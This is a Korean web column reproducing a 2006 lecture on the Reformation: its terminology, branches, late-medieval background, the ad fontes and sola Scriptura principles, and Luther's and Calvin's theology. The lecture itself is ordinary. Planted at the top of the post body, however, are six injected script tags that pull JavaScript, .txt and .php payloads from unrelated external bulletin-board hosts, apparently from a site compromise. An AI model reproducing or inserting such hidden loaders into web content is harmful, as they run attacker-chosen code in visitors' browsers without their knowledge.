칼럼 [박삼영 강의]16세기 종교개혁의 정신과 그 계승
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작성자 by 관리자 / 작성일06-08-10 14:40 / 조회 6,484 / 댓글0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>[2006 성서한국 교회개혁분과 강의]16세기 종교개혁의 정신과 그 계승
박삼영 목사(새길교회, 교회개혁실천연대 집행위원)
1. 서론
지난 세기까지 한국교회는 비교적 개혁이라는 용어를 자랑스럽게 사용했었다. 전통적으로 한국교회는 보수적인 신앙의 토양에서 부흥되고 발전되어왔기 때문에 개혁적인 면모를 보여주지 못했지만, (어찌된 영문인지) 종종 보수라는 자기 정체성의 뿌리를 16세기의 종교개혁신앙 또는 17세기의 청교도신앙에서 찾는 경향이 많았기 때문이다. 개혁신앙과 청교도신앙도 서로 양립될 수 없는 뿌리를 가지고 있지만, 명백하게 수구적인 신앙관을 견지하고 있는 한국교회가 스스로의 뿌리를 개혁신앙이라고 자랑하는 것은 이해할 수 없는 과욕임에 틀림없다. 하지만 최근 괄목할만한 성장을 이룬 한국교회는 점차 개혁신앙이라는 용어사용을 기피하는 야릇한 현상을 보인다. 이는 성장의 여유를 갖게 된 한국교회가 점차 개혁신앙의 가치들로부터 멀어져가는 현실 속에서 보이는 자연스러운 결과이며, 또한 이런 맥락에서 한국교회는 보수와 개혁이 서로 양립할 수 없다는 사실을 자각하여 보이는 현상이기도 하다. 우리는 지금 한국교회가 이제는 종교개혁이 주는 메시지에 심각한 부담을 느끼는 매우 불행한 현실을 경험하고 있다.
따라서 16세기의 종교개혁의 역사를 한국교회의 시각에서 재해석하고 객관적으로 이해하여 그 정신과 가치들을 계승하려는 시도는 여전히 의미 있는 일이라 여겨진다. 한국교회가 개신교의 뿌리와 함께 2천년 기독교복음의 연속성에 서 있기 위해서도 종교개혁의 정신을 계승하려는 시도는 의미 있는 일일 것이다. 이를 위해 다음과 같은 몇 가지 주제를 살피려 한다. 첫째, 종교개혁의 역사와 관련된 용어정의와 다양한 종교개혁의 분류, 둘째, 종교개혁의 출발과 관련된 중세후기의 분위기, 셋째, 종교개혁의 핵심모토와 개념들, 그리고 끝으로 한국교회의 종교개혁의 계승과 관련된 문제들을 반성해볼 것이다.
2. 용어정의
(1) 우리말 개혁과 한자어유래
우리말 개혁(改革)은 뭔가를 근본적으로 고치고 바꾼다는 뜻의 한자에서 왔다. 한자어 개(改)자는 고친다거나 바꾼다는 뜻이고, 혁(革)자는 뿔 달린 짐승의 가죽을 훌러덩 벗겨내어 무두질 한다는 뜻이다. 뿔 달린 짐승의 껍질인 가죽(皮)을 잘 가공하여 쓸모 있는 가죽으로 다듬어내는 것이 혁(革)이다. 소위 피(皮)가 혁(革)으로 바뀌는 과정은 뭔가 쓸모 있고 유용하게 만들어가는 근본적인 변화다.
(2) 용어 reform, reformation
영어로 개혁은 동사형으로 개혁하다(reform)가 사용된다. 명사형 reformation은 개혁이나 개선, 개편 등으로 해석되고, 앞에 정관사 the를 붙이고 r자를 대문자 R로 쓰면 16세기의 종교개혁이라는 뜻으로 쓰인다. 여기서 하나의 문제가 제기된다. 과연 16세기의 종교개혁을 주도했던 개혁자들이 그런 용어의 뜻을 헤아리며 사용하였는가, 하는 것이다. 적어도 종교개혁의 첫 세대 주자들인 루터나 쯔빙글리 뿐만 아니라, 그 이전 종교개혁의 샛별과 같은 후스나 위클리프 등도 스스로를 개혁자로 인식하지 않았음이 확인된다. 그들은 뚜렷한 목적을 가지고 피(皮)를 혁(革)하듯이 종교개혁에 투신한 것이 아니라, 다양하고 복잡하며 거대하게 흘러가는 담론들 속에서 따라 흘러들어왔을 것으로 보는 것이 더 적절해 보인다.
(3) 개혁자들의 용어사용 restitution, restoration, renovation, reformation
더구나 종교개혁에 참가했던 사람들이 우리가 알고 있는 개혁reformation이라는 단어만 사용하지 않았다는 사실을 아는 것도 중요하다. 이 사실 역시 그들이 스스로를 어떤 운동 목적을 가지고 종교개혁을 주도하지 않았다는 사실을 반증해주는 증거이다. 개혁자들은 종종 restitution, restoration, renovation, reformation 등의 단어를 번갈아가며 사용했다. 특히 종교개혁을 이미 과거에서 현재진행형으로 받아들였던 제 2세대 개혁자인 칼빈은 이 세 단어 중에 restoration을 가장 빈번하게 사용했다. Restoration은 우리말로 번역하면 회복쯤이 되겠다. 원래의 바른 상태로 되돌려놓는 일이라는 뜻이다. 이런 용어 사용을 통해 확인되는 사실은 종교개혁이 순전히 영적인 현상을 포함한 종교적 삶의 태도에 관한 것이라는 개혁자들의 본래 의도를 이해해야 한다는 점이다. 종교개혁은 어느 한순간 시도한 무력을 동원한 혁명적 운동이 아니었다. 잃어버린 복음과 복음의 삶의 실천을 되찾아 회복하자는 신앙운동의 긴 과정이었고 다양한 사건들의 종합이다. 16세기의 종교개혁은 매우 광대한 운동이었다. 오래 전부터 준비되어진 토양이 있었고, 여러 지역에서 함께 발생된 문제의식의 해결과정이었다.
3. 종교개혁의 분류
(1) 종교개혁분류 서론
종교개혁은 통일된 하나의 운동이 아니었다. 16세기의 종교개혁을 크게는 개신교종교개혁이라는 의미로 사용하고 이해하지만, 자세히 분류해보면 독일을 중심으로 한 루터파 종교개혁과 스위스를 중심으로 한 개혁파 종교개혁, 재세례파가 주도한 급진파 종교개혁, 로마교 자체적인 정화운동인 반발 종교개혁 등으로 나뉜다. 우리가 보통 16세기의 종교개혁이라 하면 주류적(mainstream,) 또는 관주도적(magisterial) 종교개혁을 의미하고, 앞의 두 가지 (곧 루터파와 개혁파)만을 지칭한다. 왜냐하면 개신교 종교개혁 중에서 급진파 종교개혁에 속한 재세례파 운동은 세속정부의 권위를 일체 부정하고 배제했다는 점에서 주류적 종교개혁과는 구분되며, 로마교 내에서 진행된 반발종교개혁도 독자적인 교리강화를 통해 관주도적 종교개혁을 정죄했다는 점에서 주류적 종교개혁과 구분되기 때문이다. 물론 루터파 종교개혁과 개혁파 종교개혁도 서로 연합하지 못한 채 로마교회로부터 프로테스탄트(개신?)교회로 함께 분리되었지만, 우리는 이 둘을 묶어서 주류적 종교개혁으로 칭하고 있기에 16세기의 종교개혁의 현상을 이해할 때 여기에 한정할 것이다.
<루터파종교개혁>
<개혁파종교개혁>
<재세례파종교개혁>
<반동종교개혁>
4. 종교개혁의 출발: 중세후기의 분위기
종교개혁이 일어난 이전시대를 흔히 중세후기시대라 부른다. 중세후기는 종교개혁을 준비한 다양한 운동이 전개되던 시기로 다양한 변화들은 크게 사회적 변화와 종교적 변화로 나눌 수 있다. 먼저 중세후기 유럽의 사회적 변화는 도시중심의 유럽사회 재편성과정과 인쇄술의 발명으로 인한 문서보급의 변화를 들 수 있다.
(1) 유럽사회의 변화: 제국도시들의 탄생
16세기에 접어들면서 유럽의 제국도시들이 탄생되었다. 제국의 도시들은 독립된 지배구조를 형성해갔고, 도시정부에 속하는 시의회는 독립을 누리게 된다. 농촌인구의 도시전입이 대거 늘어나면서 도시의 사회적 분위기는 변화요구로 더욱 팽창되는 분위기였다. 종교개혁이 각각의 도시별로 진행된 이유가 여기에 있다. 누렘부르그(Nuremberg)와 스트라스부르그(Strasbourg), 쮜리히(Zurich), 바젤(Basle), 제네바(Geneve) 등의 도시들이 대표적인 종교개혁을 수용한 16세기의 제국도시들이다.
(2) 인쇄술의 발명
구텐베르그의 인쇄술도 이 시기(1454년)에 발명되었다. 인쇄술은 이태리, 프랑스, 영국 등지로 급속하게 퍼져갔고, 종교개혁과 관련된 새로운 이념문서의 보급과 홍보도 신속하고 값싸게 확산될 수 있었다. 사실 종교개혁은 성경과 교부들의 특정문헌에 집중하는 운동으로서 누구나 자료에 쉽게 접근할 수 있게 된 인쇄술이야말로 종교개혁의 견인차역할을 했다고 말할 수 있다. 1490-1506년 사이에 여러 유사 문헌들을 통합해서 만든 어거스틴 전집(11권)이 바젤에서 인쇄되었고, 1505년 에라스무스에 의해 발견된 로렌조 발라의 헬라어신약주석이 바젤에서 인쇄되더니, 1516년에는 최초의 헬라어신약성경(Novum Instrumentum Omne)이 에라스무스에 의해 편집되어 바젤에서 인쇄되었다.
(3) 유럽사회의 종교적 변화
중세후기 유럽의 종교적 변화 또한 종교개혁의 이유를 설명하는 당시의 분위기를 잘 설명해주는데, 이는 다음 네 가지로 설명할 수 있다.
<교육기관의 발달> 일반성도의 새로운 경건운동의 고조와 교육기관의 발전이다. 이점에서 중세 후기는 쇠퇴하는 암흑기로 붕괴와 분열의 시대라기보다, 오히려 대중적 경건의 부흥기였다고도 볼 수 있다. 수도원출신의 경건운동(devotio moderna)은 결국 에라스무스(Erasmus)와 같은 전문사역자를 배출하기에 이른다. 에라스무스는 “그리스도군사의 병기”(Enchiridion Militus Christiani)라는 대표적인 교회불평문학을 출판하여 대중적인 경건을 촉진시키는데 공헌했다. 그는 이 책에서 알아듣지 못할 사변적인 내용으로 일관하는 엉터리 스콜라신학자들을 신랄하게 비판했다. 에라스무스와 같은 인물을 배출한 많은 수도원들은 고조된 일반성도들의 교육에의 관심에 의해 제도적인 교육기관의 발전으로 변화되었다.
<교리의 다양화> 교육의 발전으로 교회의 공식적인 가르침에 대한 다양한 신학적 견해가 난무하게 되었다. 인쇄술과 교육기관 발전의 영향으로 신학자료에 대한 불일치가 속출했고, 서로 다른 자료와 방법사용에 대한 학문적 다양성으로 교리에 대한 혼란이 가중되었다. 그 대표적인 예가 칭의교리이다. 도미니칸수도회와 프란치스칸수도회 등과 별도로 어거스틴수도회에서 각각 서로 다f른 칭의교리를 내세웠는데, 도미니칸수도회는 토마스 아퀴나스(Thomas Aquinas)를, 프란치스칸수도회은 둔스 스코투스(Duns Scotus)와 옥캄(William of Ockham)을 어거스틴수도회는 리미니의 그레고리(Gregory of Rimini)를 따랐기 때문이었다. 결과적으로 도미니칸수도회와 프란치스칸수도회는 펠라지우스(Pelagius)를 따라 인간 스스로 구원에 이르는 능력이 있다는 입장을 취하였고, 어거스틴수도회는 어거스틴의 입장을 취하여 인간은 스스로 구원할 아무런 능력이 없이 타락했다고 했다. 이전까지 교회가 교황의 이름으로 반포한 교리에 의존하여 이해했는데, 이제 점차로 무엇이 참된 교리인가에 대해 강요할 아무런 권한도 주장할 수 없게 되었다. 하나의 교리에 대해 다양한 견해가 유포될 수 있었던 이런 분위기야말로 종교개혁의 진정한 동기가 되었다고 볼 수 있다.
<권위의 붕괴> 권위의 붕괴 또는 위기의 분위기다. 교리에 대한 권위 있는 확인을 교회가 누구의 이름으로 해줄 수 있는가? 교황인가, 교회의 종교회의(공의회)인가? 물론 이런 권위의 위기는 일반성도들의 종교의식이 고조되면서 야기된 것이라 할 수 있겠으나, 그 근본적인 발단은 훨씬 이전의 교황의 아비뇽유폐사건이라는 세속정부와의 갈등에 기인한 것이다. 소위 보니파치우스 8세라는 교황이 반포했던 '거룩한 일치‘(Unam Sanctam, 1303년)은 아비뇽사건 이후에 우스갯거리가 되었고, 교황의 권위는 완전히 땅에 떨어졌다. 교황이 세 명이나 된 가공할 상황을 통해 과연 누가 진정한 교황인가에 관한 논쟁을 해결하기 위해 종교회의가 열렸지만, 그 후에도 교황청파와 종교회의파의 힘겨루기는 계속되었고, 중세를 지배했던 권위는 급속히 붕괴되어갔다.
<반사제주의의 팽창> 반사제주의가 팽배해졌다. 일반성도들의 신학적 자각과 경건운동으로 많은 유럽도시에서 반사제주의가 점점 증가추세에 있었다. 라틴지식수준이 향상되어 지식수준이 높아짐에 따라 신학교의 갱신이 요구되었고, 목회자들의 지적이고 신선한 설교가 요청되었다. 이런 상황에서 사제들은 자리를 지키기 위하여 더욱 노력해야 했음에도 불구하고, 엉터리 설교로 연명하는 사제들이 여전히 지배적이어서 점차로 코웃음 치는 분위기로 발전되었다. 더구나 경제적인 위기가 몰려오자 곧바로 반사제주의는 광범위하게 퍼져갔는데, 이는 사제들의 재정적인 지원을 대중이 맡고 있을 뿐 아니라 사제들은 세금까지도 감면받기 때문에 반감이 극대화되게 되었다.
살펴본 대로, 중세후기의 유럽풍경은 과거 기독교회의 첫 번째 500년 동안 누렸던 황금시대의 유산을 상실해버린 모습이었고, 이를 시급히 회복해야 할 시기로 비쳐졌다. 사실 위에서 열거한 많은 문제들은 보다 근본적인 질병의 외적 징후에 불과한 것들이다. 이것들은 오랫동안 진행되어온 기독교의 교리의 이탈과 교회의 윤리적 부패라는 과정이 도달한 상태의 지극히 복잡한 세상의 풍경들이라고 할 수 있다. 그러나 누가 이런 상태를 개혁할 수 있을까? 교황도 세속정부도 교회를 개혁할 능력은 점차로 상실해가고 있는 이 시점에, 기독교의 보다 순수하고 생생한 신앙과 삶의 회복을 위해 중세후기의 풍경을 전환할 진정한 개혁이 어떻게 가능하다는 것인가? 그러한 개혁을 위해 어떤 기준을 가질 수 있단 말인가? 16세기의 개혁자들은 부패한 교회의 활력과 순수성과 생명력을 회복하기 위해 르네상스 인문주의자들이 외쳤던 모토를 적극적으로 수용하였다. 그 모토는 이제 살피게 될 <근원으로!>(ad fontes)라는 슬로건이다.
5. 종교개혁의 핵심모토: ad fontes
(1) 스콜라신학의 한계상황
16세기 종교개혁자들이 <오직 성경만으로!>(sola Scriptura)라는 모토를 내세웠을 때(엄밀히 말해 쯔빙글리에 의해 1523년 제1차 쮜리히토론회에서 처음 사용된 슬로건이다.), 그것은 르네상스 인문주의자들의 모토였던 <근원으로!>(ad fontes) 되돌아가자는 슬로건을 따른 결과였다. Ad fontes는 '원래의 자료들로‘라는 의미를 가진 르네상스 인문주의자들의 문학적 추구원리였다. 종교개혁자들에게 있어서 고대의 원문을 직접 대해야 한다는 이 운동은 중세의 주석이라고 하는 필터(filter)를 제거하고 성경이나 교부들의 원문으로 되돌아감을 의미했다. 유럽의 종교개혁자들은 이점에서 르네상스 인문주의자들로부터 큰 빚을 진 셈이다. 그들은 중세후기의 메마른 형태의 기독교를 보다 새롭고 생명력 있는 역동적인 형태의 기독교로 변화시킬 수 있는 원리를 <근원으로!>라는 슬로건에서 발견했기 때문이다. 중세후기의 교회 상황에 절망하던 사람들에게 다시금 기독교의 황금시대였던 사도시대의 기독교가 실현될 수 있다는 기대감을 불어넣게 된 것이다.
(2) 르네상스 인문주의의 영향
종교개혁과 르네상스 인문주의 양쪽 모두에게 가장 큰 영향을 끼친 대표적인 인물을 든다면 로테르담의 에라스무스(Erasmus of Rotterdam)였다. 에라스무스는 실제로 <근원으로!> 되돌아가야 한다는 슬로건을 주장하여 교부들의 저술과 성경으로 되돌아감으로써 교회가 개혁될 수 있다고 주장했는데, 이러한 자신의 제안을 실천하기 위해서는 성경 그 자체부터 부정확한 번역에서 해방시켜야 된다는 사실까지도 인식하고 있었다. 이미 부정확한 라틴어 성경 불가타(Vulgata)번역이 아니라 헬라어원어로 신약을 읽는 것이 무엇보다도 우선이었다. 라틴성경의 부정확한 번역은 사실상 로마교의 그릇된 성례(Sacraments)제도를 공고히 하는 오류를 양산했었다. 에라스무스의 헬라어원문성경의 편집출판은 7개의 성사제도로 발전된 로마교회의 성례에 의문을 가지게 만들었다. 12세기말까지 로마교회는 예수께서 제정해주신 두 가지 성례(세례와 성만찬) 외에 5가지를 늘림으로써 기독교회의 초기전통을 떠나 중세의 성례신학을 만들어냈는데, 이는 철저히 라틴성경 불가타의 번역상의 실수에 기인된 사실을 알게 된 것이다. 예컨대 결혼이 성례의 목록에 포함된 것은 엡 5:31-2에서 ‘비밀’(mysterion)이라는 헬라어를 ‘성례’(sacramentum)이라는 라틴어로 번역한 근거 때문이었다. 그러나 실제 성경에서 결혼을 성례라고 언급한 곳은 단 한 곳도 없다. 고해성사도 마찬가지 라틴성경 불가타의 오역에서 정당화 되었던 성례였다. 마 4:17의 ‘회개하라’(repent)는 헬라어 Metanoeite를 라틴어 poenitentia의 모호한 의미 때문에 poeniteat(be penitent)로 번역하지 않고 paenitentiam이라는 ‘회개를 행하라’(do penance)로 번역한데서 성례화 되었던 것이다. 마리아숭배사상의 발단도 라틴성경 불가타의 오역에서 더욱 강화되었다. 중세후기에 마리아는 사람들이 필요할 때마다 따라 쓸 수 있는 은총의 저수지로 인식되었는데, 이는 눅 1:28의 ‘은혜를 받은 자여’라는 가브리엘천사의 인사말을 ‘은총이 가득한 자여’라는 라틴어 gratia plena로 번역하여 은총을 저장하는 장소(reservoir)의 이미지를 암시했던 것이다. 그저 은혜를 입은 자 또는 은혜를 발견한 자라는 gratificata나 gratiosa정도로 번역하면 될 것을 기도하면 나눠줄 수 있는 넘쳐나는 은총을 가진 대상으로 알도록 은총이 가득한 자라고 번역한 데서 마리아론신학이 융성하게 발전되었다. 이 얼마나 큰 아이러니인가? 에라스무스의 개혁프로그램은 이처럼 라틴번역을 극복할 수 있는 ad fontes의 적극적인 실천이었다고 말할 수 있다.
6. 종교개혁의 원천과 방법
(1) 전통과 성경해석에 대한 새로운 구분
중세후기의 성경해석의 궁극적 권위에 대한 논란은 소용돌이에 빠지게 된다. 성경은 해석될 필요가 있다. 만일 해석의 불일치가 생긴다면, 어떠해야 하는가? 중세시대에는 오직 교황만이 성경을 최종적으로 해석할 수 있다고 주장했지만, 중세후기에는 점차 성경해석에서 교회의 역할과 교회의 권위가 점차로 강조되게 되었다. 그리스도의 마음을 가진 선한 그리스도인들이 있음을 인정해야 한다. 루터는 <독일귀족에게 고함>에서 믿음도 성령도 갖지 못한 교황을 따라야 하느냐고 반문한다. 사실 성경은 많은 문제에 침묵한다. 사도신경을 누가 작성했는가? 성찬예식의 빵과 포도주의 변화시점은 언제인가? 유아세례는 어떤가? 이런 문제들에 대해 누가 성경해석의 최종권위를 가지는가? 교회인가? 교황인가? 종교회의인가? 아니면, 경건한 개인인가? 중세후기의 학자들은 하나님께서 이 부분을 보충하기 위해 전통이라는 계시의 제 2의 원천을 준비해주셨다고 했다. 중세에는 성경해석에 있어 기독교역사의 전통(연속성)에 의거해서, 즉 기독교회의 역사적 연속성이라는 맥락에서 해석되어야 한다고 생각해왔다. 그러나 14-5세기 후에는 전통에 대해 약간 다른 방식이 발달하게 되었다. 전통은 이제 성경에 더하여 성경과 분리되고 구별된 계시의 또 다른 원천으로 이해되었다. 하나님의 섭리로 성경이 침묵하고 있는 부분을 보충하기 위해 계시의 제 2의 원천을 준비하셨다는 것이다. 이 전통은 교회에서 교회로 전승된다.(traditor, hand over) 여기서 전통에 대한 새로운 구분이 필요한 상황이 발생된다. 전통 1과 전통 2의 구분이 전통에 대한 이해를 분명히 해준다. 전통 1은 주류적 종교개혁 노선이 붙든 원리이며, 전통 2는 트렌트 종교회의와 로마교가 붙든 원리다. 전통 1을 교리의 단일 근원이론이라고 할 수 있다면, 전통 2는 교리의 이중근원이론이라 말할 수 있다. 이것은 자연히 종교개혁시대의 성경을 대하는 두 부류의 입장이 되었다.
(2) 오직 성경의 원리
중세에서 성경이라고 말할 때, 이는 거의 예외 없이 제롬이 번역한 라틴어성경(textus vulgatus, 불가타 역본)을 의미했다. 원래 이 불가타는 4-5세기경에 제롬이 번역한 성경이다. 중세에는 많은 유사 불가타 역본들이 생산되어 있었다. 점점 이 불가타성경은 다양한 형태로 중세에 전수되었으며 각각의 형태 사이에 큰 차이가 있었다. 11세기 이후 대학이 생겨나고 지성의 발전이 새로운 시대로 꽃피웠을 때, 불가타성경의 표준판이 요구되었다. 이에 부응하여 파리대학의 신학자들 중심으로 파리판(Paris version)을 출간하기에 이른다.(1226년) 당시 파리대학이 유럽의 신학의 주도적 중심지였다. 그러나 이 파리판 불가타는 원본의 불가타와 더 큰 불일치를 보였다. 이런 운동은 중세의 국역판 번역으로 이어졌다. 그러나 이런 국역판들은 원본에서 번역된 것이 아니라 단지 불가타 번역판이었을 뿐이다. (예, J. Wycliffe의 영어성경번역본)
인문주의자들은 근원으로 돌아가야 한다는 필요성을 강조했기 때문에 중세의 주석가들보다 성경이 우선한다는 원칙을 확립하였다. 성경도 라틴 번역본이 아니라 원어로 직접 읽혀야 한다고 주장했다. 구약은 히브리어로 신약은 헬라어로 읽혀야만 했다. 원어로 된 성경을 사용하는 능력은 인문주의자들의 특징이었는데, 이들이 불가타의 오류를 밝혀내고 원어성경을 인쇄하기에 이른다. 그것이 에라스무스의 <Novum Instrumentum Omne, 1516>이다. 이들은 더 나아가 성경의 사본들 중에서 최상의 사본을 정확히 결정할 수 있는 본문비평을 발전시켰다. 에라스무스의 요한일서 5:7의 경우, 후대의 첨가로 확인하고 삭제했다.
종교개혁자들은 기독교의 기반은 기록된 하나님의 말씀, 즉 성경이라고 천명했다. 문제는 무엇이 정경인가를 확정하는 것이었다. 그들은 성경의 정경(자, 규범, canon, rule, norm, authentic)을 명확히 했다. 중세는 불가타에 포함된 것만이 성경이었는데, 종교개혁자들은 율법과 선지자들의 글, 사도의 글을 제외한 불가타를 거절했다. 이들은 구약과 외경을 구별했다. 구약은 히브리어로 기록된 성경에서 발견된 반면, 외경은 헬라어나 라틴어로 기록된 성경에서는 발견되지만 히브리어 성경에서는 발견되지 않는 것들이다. 즉 개혁자들은 오직성경으로만이라는 슬로건으로 로마교와 비교해서 두 가지 구별을 만들었다. 성경 그 자체에 전혀 다른 지위와 권위를 부여했을 뿐 아니라 실제로 무엇이 성경인가에 대해서도 다른 의견을 내놓았다. 로마교의 관습; 죽은 자들을 위한 기도, 이에 대해 개혁자들은 비성경적 토대에 근거한 것이라고 규정하고, 통속적인 미신과 대중에 대한 교회의 착취를 조장하는 것이라고 보았다. 로마교는 죽은 자를 위한 기도가 메카비2서 12:40-46에 언급되었다고 지적하였으나, 개혁자들은 이 책이 성경이 아닌 외경이라고 선언했기 때문에 비성경적 관습이라고 지적했다.
(3) 성경의 권위
종교개혁자들은 에라스무스를 통해 교부들의 저술과 무엇보다도 신약성경원문에 쉽게 접근할 수 있었다. 종교개혁자들은 교황이나 공의회나 개별신학자들의 권위는 모두 성경의 권위 아래 종속되어야 한다는 사실을 천명했다. 모든 권위는 성경으로부터 도출되고 성경에 종속되어야 한다. 따라서 <오직 성경만으로!>의 원리는 교회 내에서의 권위의 문제에 대해서도 기준을 마련해주었다. 성경은 하나님의 말씀이다. 성경저자는 성령의 비서다. 성경의 권위는 절대적이고 자족적이다. 성경으로 교회에 대한 판단을 내릴 수 있고, 성경에 근거하여 부정확하고 부적합한 형태의 잘못된 복음에 대해 도전하고 개혁할 수 있어야 한다.
교회는 말씀의 법도와 규례에 철저히 순종해야 한다. 개혁자들은 교황, 공의회, 신학자들의 권위는 모두 성경의 권위에 종속된다고 주장했다. 이 말은 그들이 아무런 권위도 없다는 것을 의미하지 않는다. 개혁자들은 다만 그들의 권위가 성경에서 도출된 것이며 성경에 종속된다는 것이다. 개혁자들은 교회내의 권위도 직분자의 직위에서가 아니라, 이들이 섬기는 하나님의 말씀에서 도출된다고 보았다.(주교, 목사) 로마교는 전통적으로 직분자의 권위가 직위 그 자체에서 온다고 보았다. 주교의 권위는 그가 주교라는 사실 자체에 있다는 것이다. 주교라는 직분을 사도시대와 연결하여 역사적 연속성을 주장했다. 그러나 개혁자들은 주교의 권위는 하나님의 말씀에 대한 이들의 신실성에 정초시켰다. 교회의 권위는 진정으로 성경의 권위에 따른다. 이것이 오직 성경 만으로의 슬로건이다.교회 내에서의 권위는 직분자의 직위에서 오는 것이 아니라, 말씀으로부터 나온다고 강조한다. 전통적인 로마교회에서, 주교의 권위는 그가 주교라는 사실 그 자체에 있다고 강조했지만, 개혁자들은 주교나 그에 상응하는 개신교의 직분들의 권위를 하나님의 말씀에 대한 이들의 신실성(faithfulness)에 있다고 정초시킨 것이다.
7. 종교개혁의 핵심주제
16세기의 종교개혁에서 우리가 다뤄야 할 가장 중요한 주제는 교리적인 것으로 간주되어왔고, 그것은 칭의의 구원론과 성화의 교회론이라 말할 수 있다. 압축해서 말한다면 전자는 마르틴 루터(Martin Luther)와 관련된 주제이고, 후자는 존 칼빈(John Calvin)과 관련된 주제이다. 전자에 의해 로마교회와는 별도로 개신교회가 갈라져 나왔고, 후자에 의해 종교개혁의 개신교회는 신학적이고 역사적이며 제도적으로 정당화를 얻기에 이른다.
(1) 루터의 십자가신학의 재발견
마르틴 루터는 16세기의 종교개혁에서 가장 중요한 인물 중 하나로 여겨진다. 그는 신학적으로 토미즘(Thomism)의 전통을 거부하는 분위기 가운데 생겨난 새로운 길을 걷는 학파(via moderna)가 지배하는 에르푸르트(Erfurt)대학에서 교육받았다. 탑체험(Turmerlebnis, 1505년) 이후 어거스틴수도회에 들어가 신학수업을 쌓고, 1508년 새로 설립된 비텐베르그(Wittenberg)대학에 초빙되어 성경을 가르치게 된다. 1514년 이후 그는 하나님의 의(iustitia Dei)에 대한 신학적 개념과 씨름하기 시작하는데, 그의 주된 관심은 “어떻게 죄인이 하나님의 의를 발견할 수 있는가?”였다. 중세후기를 지배해온 로마교회의 칭의교리와 같이 인간의 본질 안에 이미 주입된(imputed) 하나님의 의가 있다는 설명은 그에게 만족을 주지 못했고, 점차로 어거스틴의 칭의에 대한 가르침으로 기울였다. 그 결과 1515년 어느 시점에서, “내가 어떻게 은혜로우신 하나님을 발견할 수 있는가?”로부터, 그는 하나님께서 죄인이 의로움을 얻을 수 있도록 직접 도와주신다는 사실을 깨닫게 된다. 죄인은 오직 이 사실을 믿음으로 받아들이면 된다는 차원에서 수동적이며, “믿음을 통해 은혜에 의해 이루어지는 칭의”(Justification by Grace through faith)라는 분명한 성경의 구원등식을 회복한 것이다. 이는 사실상 어거스틴의 통찰에 대한 재발견, 또는 회복인 셈이다.
중세후기의 구원관은 인간의 성한 행위의 결과로 얻어진다는 신념이 널리 퍼져 있었다. 구원의 죄용서의 문제에 있어 중세후기의 애매한 입장은 면죄부(Indulgence)를 정당화하는 미신적인 신학으로 발전되는 중이었다. 중세후기 유럽의 많은 교회나 기관들은 이러한 믿음의 그릇된 관습을 통해 권력과 수입을 유지하고 있었으며, 16세기 초에는 면죄부가 교황의 수입의 주요 원천이 되기까지 했다. 원래 면죄부란 죄용서에 대한 감사의 표현으로 자선하는 기부금이었던 것으로 보인다. 그러나 제정위기에 처한 교황청이 이를 이용하여 주된 수입원천으로 변형시켜버린 것이다. 한걸음 더 나아가 교회는 고해성사와 죽은 자를 위한 미사를 조장함으로써 칭의의 구원론에 대해 신학적으로 애매한 입장을 취했을 뿐 아니라, 성직자들은 점점 더 부패의 늪으로 빨려 들어가는 중이었다. 여기서 우리는 루터가 95개조항의 논제를 게시했던 사건이 가히 혁명적인 신학의 출현을 알리는 내용이었을지는 몰라도, 그것은 소리 없는 메시지였을 뿐이었다는 사실에 유의해야 한다. 이것은 면죄부선전에 대한 직접적인 항의도 아니고 교회가 죄용서에 대한 분명한 입장을 밝혀야 한다는 요구도 아니었지만, 이로써 교황과 많은 성직자들, 일부의 군주들과 은행가들의 기득권은 그 본질이 위협받게 되었다. 루터의 십자가신학으로 알려진 이신칭의의 새로운 이해의 중요성은 그 견해가 이제까지의 교회의 가르침과 완전한 결별을 확인한다는데 있다. 그러나 루터의 칭의의 구원론이 개인적으로 구원 얻는 방법에 대한 신학적이고 교리적인 원리로서 개인적인 신자를 향한 것이라고 말할 수 있다. 루터의 개인의 구원에 대한 성찰은 르네상스와 함께 일어난 개인주의의 발흥을 반영한 것이기도 하다는 점에서 그렇다.
(2) 칼빈의 공동체신학의 수립
“종교개혁은 어거스틴의 교회론에 대한 어거스틴의 구원론의 궁극적 승리였다.”(B. B. Warfield)고 한다. 어거스틴에 대한 새로운 관심으로 그의 은총론이 기독교복음의 핵심이라고 여겼던 루터의 확신은 로마교회가 기독교회로서의 권리를 완전히 상실했다고 결론 내렸다. 왜냐하면 그는 이신칭의의 교리야말로 교회의 흥망을 좌우하는 주제(articulus stantis et cadentis acclesiae)로 보았기 때문이다. 그러나 로마교회는 이런 루터를 조롱하며, 루터는 교회와 아무런 관련을 갖지 못한 분파를 만들었을 뿐이라고 정죄했다. 사실 어거스틴은 교회를 분리하는 도나투스일당을 정죄한 적이 있었다. 루터는 교회를 분리시켰는데, 오래전 어거스틴은 교회의 일치를 강조했었다. 루터는 어거스틴의 교회론을 배척함으로써만 어거스틴의 구원론을 주장할 수 있었던 것으로 보였지만, 스스로 얼마나 분파에 대해 심각한 두려움을 느꼈었는지 모른다. 여기서 루터가 선택한 개혁의 프로그램은 내부로부터의 개혁이었다. 그는 적어도 1520-41년 사이에 로마교회가 스스로를 진정으로 개혁할 것이라는 믿음을 가지고 있었다. 아마도 곧 로마교회가 개혁적인 공의회를 소집하여 보다 갱신되고 개혁된 교회에 자신도 참여할 수 있을 것이라는 소박한 꿈을 가지고 있었다. 그 증거로 아우구스부르크의 신앙고백(1530년)만 해도 로마교회에 대해 눈에 띨 정도로 화해적이다. 그러나 1540년대에 이르러 이러한 희망은 완전히 사라져버렸다. 마침내 로마교회는 트렌트종교회의를 소집하여 1545년 종교개혁에 대한 자기네들의 최종적인 입장을 정리했는데, 화해의 어떤 희망도 좌절될만한 내용으로 루터를 비롯한 개신교일당에 대해 정죄를 선언하고 말았다. 종교개혁을 주장한 개혁가들은 그들의 교회가 이제 한시적이 아니라 영구적이라는 냉정한 현실을 인정해야 했고, 이제 자신들의 존재를 기독교회로서 정당화해야 했다.
